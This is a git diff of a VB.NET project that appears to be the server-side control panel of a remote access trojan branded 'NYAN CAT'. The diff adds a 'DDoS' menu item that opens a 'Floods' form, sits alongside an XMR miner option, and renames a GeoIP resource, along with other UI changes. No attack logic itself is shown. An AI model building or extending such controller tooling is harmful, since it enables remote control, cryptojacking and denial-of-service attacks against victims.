Me.L2.BorderStyle = System.Windows.Forms.BorderStyle.None + Me.L2.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed + Me.L2.ForeColor = System.Drawing.Color.FromArgb(CType(CType(142, Byte), Integer), CType(CType(188, Byte), Integer), CType(CType(0, Byte), Integer)) + Me.L2.FormattingEnabled = True + Me.L2.ItemHeight = 20 + Me.L2.Location = New System.Drawing.Point(3, 23) + Me.L2.Name = "L2" + Me.L2.Size = New System.Drawing.Size(1603, 440) + Me.L2.TabIndex = 2 + ' 'MetroTabPage3 ' Me.MetroTabPage3.Controls.Add(Me.chkRename) @@ -1343,35 +1373,6 @@ Partial Class Main Me.MetroLabel4.Text = "Pastebin URL" Me.MetroLabel4.Theme = MetroFramework.MetroThemeStyle.Dark ' - 'MetroTabPage2 - ' - Me.MetroTabPage2.Controls.Add(Me.L2) - Me.MetroTabPage2.HorizontalScrollbarBarColor = True - Me.MetroTabPage2.Location = New System.Drawing.Point(4, 39) - Me.MetroTabPage2.Name = "MetroTabPage2" - Me.MetroTabPage2.Size = New System.Drawing.Size(1614, 504) - Me.MetroTabPage2.Style = MetroFramework.MetroColorStyle.Lime - Me.MetroTabPage2.TabIndex = 1 - Me.MetroTabPage2.Text = "Logs" - Me.MetroTabPage2.Theme = MetroFramework.MetroThemeStyle.Dark - Me.MetroTabPage2.VerticalScrollbarBarColor = True - ' - 'L2 - ' - Me.L2.Anchor = CType((((System.Windows.Forms.AnchorStyles.Top Or System.Windows.Forms.AnchorStyles.Bottom) _ - Or System.Windows.Forms.AnchorStyles.Left) _ - Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles) - Me.L2.BackColor = System.Drawing.Color.FromArgb(CType(CType(17, Byte), Integer), CType(CType(17, Byte), Integer), CType(CType(17, Byte), Integer)) - Me.L2.BorderStyle = System.Windows.Forms.BorderStyle.None - Me.L2.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed - Me.L2.ForeColor = System.Drawing.Color.FromArgb(CType(CType(142, Byte), Integer), CType(CType(188, Byte), Integer), CType(CType(0, Byte), Integer)) - Me.L2.FormattingEnabled = True - Me.L2.ItemHeight = 20 - Me.L2.Location = New System.Drawing.Point(3, 23) - Me.L2.Name = "L2" - Me.L2.Size = New System.Drawing.Size(1603, 440) - Me.L2.TabIndex = 2 - ' 'NotifyIcon1 ' Me.NotifyIcon1.Icon = CType(resources.GetObject("NotifyIcon1.Icon"), System.Drawing.Icon) @@ -1503,6 +1504,7 @@ Partial Class Main Me.MetroTabControl1.ResumeLayout(False) Me.MetroTabPage1.ResumeLayout(False) Me.Main_Rightclick.ResumeLayout(False) + Me.MetroTabPage2.ResumeLayout(False) Me.MetroTabPage3.ResumeLayout(False) Me.MetroTabPage3.PerformLayout() Me.MetroPanel5.ResumeLayout(False) @@ -1515,7 +1517,6 @@ Partial Class Main Me.MetroPanel3.PerformLayout() Me.MetroPanel2.ResumeLayout(False) Me.MetroPanel2.PerformLayout() - Me.MetroTabPage2.ResumeLayout(False) Me.MetroPanel1.ResumeLayout(False) Me.MetroPanel1.PerformLayout() CType(Me.MetroStyleManager1, System.ComponentModel.ISupportInitialize).EndInit() @@ -1633,5 +1634,5 @@ Partial Class Main Friend WithEvents XMR As ColumnHeader Friend WithEvents XMRMinerToolStripMenuItem As ToolStripMenuItem Friend WithEvents MetroLabel12 As MetroFramework.Controls.MetroLabel - Friend WithEvents TestToolStripMenuItem As ToolStripMenuItem + Friend WithEvents DDoSToolStripMenuItem As ToolStripMenuItem End Class diff --git a/Project/Server/Forms/Main.resx b/Project/Server/Forms/Main.resx index fb86a89..fcdda3b 100644 --- a/Project/Server/Forms/Main.resx +++ b/Project/Server/Forms/Main.resx @@ -134,7 +134,7 @@ AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0 ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAADo - VAYAAk1TRnQBSQFMAgEB8wEAAdgBFwHYARcBGQEAARABAAT/ASEBAAj/AUIBTQE2BwABNgMAASgDAAFk + VAYAAk1TRnQBSQFMAgEB8wEAAfABFwHwARcBGQEAARABAAT/ASEBAAj/AUIBTQE2BwABNgMAASgDAAFk AwAB0AEDAgABAQEAASAGAAH1AQX/AKIAAwUBBwMQARYDFAEbAxQBGwMUARsDFAEbAxQBGwMUARsDFAEb AxQBGwMUARsDFAEbAxQBGwMUARsDFAEbAxQBGwMUARsDFAEbAxQBGwMUARsDFAEbAxQBGwMUARsDEgEY AwgBCwMFAQcDEAEWAxQBGwMUARsDFAEbAxQBGwMUARsDFAEbAxQBGwMUARsDFAEbAxQBGwMUARsDFAEb diff --git a/Project/Server/Forms/Main.vb b/Project/Server/Forms/Main.vb index 221415f..5c1ca49 100644 --- a/Project/Server/Forms/Main.vb +++ b/Project/Server/Forms/Main.vb @@ -1,5 +1,5 @@ '################################################################## -'## N Y A N C A T ||| Updated on Aug/20/2018 ## +'## N Y A N C A T ||| Updated on Aug/24/2018 ## '################################################################## '## ## '## ## @@ -134,7 +134,7 @@ Public Class Main #Region "Clients Requests" - Private Shared _Gio As New S_GIO(Application.StartupPath & "\Misc\GIO.dat") + Private Shared _Gio As New S_GeoIP(Application.StartupPath & "\Misc\GeoIP.dat") Delegate Sub _Data(ByVal u As USER, ByVal b() As Byte) Private Sub S_Data(ByVal u As USER, ByVal b() As Byte) Handles S.Data Dim A As String() = Split(S_Encryption.AES_Decrypt(BS(b)), S_Settings.SPL) @@ -823,7 +823,7 @@ Public Class Main Public Sub Messages(ByVal user As String, ByVal msg As String) L2.Items.Add("[" + DateAndTime.Now.ToString("hh:mm:ss tt") + "]" + " " + user + " → " + msg.ToString) - If msg.ToString.Contains("Error!") Then + If msg.ToString.Contains("Error!") AndAlso MetroToggle1.Checked = True Then Try : My.Computer.Audio.Play(My.Resources._Error, AudioPlayMode.Background) : Catch : End Try 'https://freesound.org/people/eardeer/sounds/385281/ End If End Sub @@ -1246,10 +1246,12 @@ Public Class Main End Try End Sub - Private Sub TestToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles TestToolStripMenuItem.Click + + Private Sub DDoSToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles DDoSToolStripMenuItem.Click Floods.Show() End Sub + #End Region #Region "PC Options" diff --git a/Project/Server/My Project/AssemblyInfo.vb b/Project/Server/My Project/AssemblyInfo.vb index 301d19f..7463f89 100644 --- a/Project/Server/My Project/AssemblyInfo.vb +++ b/Project/Server/My Project/AssemblyInfo.vb @@ -31,5 +31,5 @@ Imports System.Runtime.InteropServices ' by using the '*' as shown below: ' - - + + diff --git a/Project/Server/My Project/Resources.Designer.vb b/Project/Server/My Project/Resources.Designer.vb index 3fa45cc..19f2ddb 100644 --- a/Project/Server/My Project/Resources.Designer.vb +++ b/Project/Server/My Project/Resources.Designer.vb @@ -72,9 +72,9 @@ Namespace My.Resources ''' ''' Looks up a localized resource of type System.Byte[]. ''' - Friend ReadOnly Property GIO() As Byte() + Friend ReadOnly Property GeoIP() As Byte() Get - Dim obj As Object = ResourceManager.GetObject("GIO", resourceCulture) + Dim obj As Object = ResourceManager.GetObject("GeoIP", resourceCulture) Return CType(obj,Byte()) End Get End Property diff --git a/Project/Server/My Project/Resources.resx b/Project/Server/My Project/Resources.resx index 54f009e..00bc735 100644 --- a/Project/Server/My Project/Resources.resx +++ b/Project/Server/My Project/Resources.resx @@ -127,7 +127,7 @@ ..\Resources\Error.wav;System.IO.MemoryStream, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - ..\Resources\GIO.dat;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + ..\Resources\GeoIP.dat;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 \ No newline at end of file diff --git a/Project/Server/Resources/GIO.dat b/Project/Server/Resources/GIO.dat deleted file mode 100644 index 43fba25..0000000 Binary files a/Project/Server/Resources/GIO.dat and /dev/null differ diff --git a/Project/Server/Resources/GeoIP.dat b/Project/Server/Resources/GeoIP.dat new file mode 100644 index 0000000..be8b031 Binary files /dev/null and b/Project/Server/Resources/GeoIP.dat differ diff --git a/Project/Server/Server.vbproj b/Project/Server/Server.vbproj index 73ec342..8644925 100644 --- a/Project/Server/Server.vbproj +++ b/Project/Server/Server.vbproj @@ -99,7 +99,7 @@ - + @@ -239,11 +239,10 @@ Settings.Designer.vb - + - diff --git a/Project/Server/obj/Debug/TempPE/My Project.Resources.Designer.vb.dll b/Project/Server/obj/Debug/TempPE/My Project.Resources.Designer.vb.dll index f94e7b4..23ba9ed 100644 Binary files a/Project/Server/obj/Debug/TempPE/My Project.Resources.Designer.vb.dll and b/Project/Server/obj/Debug/TempPE/My Project.Resources.Designer.vb.dll differ diff --git a/Project/Server/obj/Release/TempPE/My Project.Resources.Designer.vb.dll b/Project/Server/obj/Release/TempPE/My Project.Resources.Designer.vb.dll index a57a1ee..bcada15 100644 Binary files a/Project/Server/obj/Release/TempPE/My Project.Resources.Designer.vb.dll and b/Project/Server/obj/Release/TempPE/My Project.Resources.Designer.vb.dll differ